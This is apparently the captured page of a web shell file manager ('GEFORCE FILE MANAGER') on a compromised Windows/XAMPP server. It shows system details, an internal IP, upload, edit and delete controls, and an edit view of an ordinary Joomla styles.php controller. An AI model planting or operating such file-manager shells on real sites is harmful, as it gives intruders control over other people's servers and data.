[ SYSTEM ]: Windows NT SWD-ELEARN-11 10.0 build 20348 (Windows Server 2016) AMD64
[ SERVER ]: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 | PHP: 7.3.9
[ USER ]: Elearn | IP: 10.201.204.156
GEFORCE FILE MANAGER
/
C:
/
xampp
/
htdocs
/
Ajaji
/
backup
/
alajaji
/
administrator
/
components
/
com_templates
/
controllers
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 style.php
4,041 B
SET
[ EDIT ]
|
[ DEL ]
📄 styles.php
3,074 B
SET
[ EDIT ]
|
[ DEL ]
📄 template.php
24,159 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: styles.php
<?php /** * @package Joomla.Administrator * @subpackage com_templates * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\Utilities\ArrayHelper; /** * Template styles list controller class. * * @since 1.6 */ class TemplatesControllerStyles extends JControllerAdmin { /** * Method to clone and existing template style. * * @return void */ public function duplicate() { // Check for request forgeries $this->checkToken(); $pks = $this->input->post->get('cid', array(), 'array'); try { if (empty($pks)) { throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED')); } $pks = ArrayHelper::toInteger($pks); $model = $this->getModel(); $model->duplicate($pks); $this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_DUPLICATED')); } catch (Exception $e) { JError::raiseWarning(500, $e->getMessage()); } $this->setRedirect('index.php?option=com_templates&view=styles'); } /** * Proxy for getModel. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return JModelLegacy * * @since 1.6 */ public function getModel($name = 'Style', $prefix = 'TemplatesModel', $config = array()) { return parent::getModel($name, $prefix, array('ignore_request' => true)); } /** * Method to set the home template for a client. * * @return void * * @since 1.6 */ public function setDefault() { // Check for request forgeries $this->checkToken(); $pks = $this->input->post->get('cid', array(), 'array'); try { if (empty($pks)) { throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED')); } $pks = ArrayHelper::toInteger($pks); // Pop off the first element. $id = array_shift($pks); $model = $this->getModel(); $model->setHome($id); $this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_SET')); } catch (Exception $e) { JError::raiseWarning(500, $e->getMessage()); } $this->setRedirect('index.php?option=com_templates&view=styles'); } /** * Method to unset the default template for a client and for a language * * @return void * * @since 1.6 */ public function unsetDefault() { // Check for request forgeries $this->checkToken('request'); $pks = $this->input->get->get('cid', array(), 'array'); $pks = ArrayHelper::toInteger($pks); try { if (empty($pks)) { throw new Exception(JText::_('COM_TEMPLATES_NO_TEMPLATE_SELECTED')); } // Pop off the first element. $id = array_shift($pks); $model = $this->getModel(); $model->unsetHome($id); $this->setMessage(JText::_('COM_TEMPLATES_SUCCESS_HOME_UNSET')); } catch (Exception $e) { JError::raiseWarning(500, $e->getMessage()); } $this->setRedirect('index.php?option=com_templates&view=styles'); } }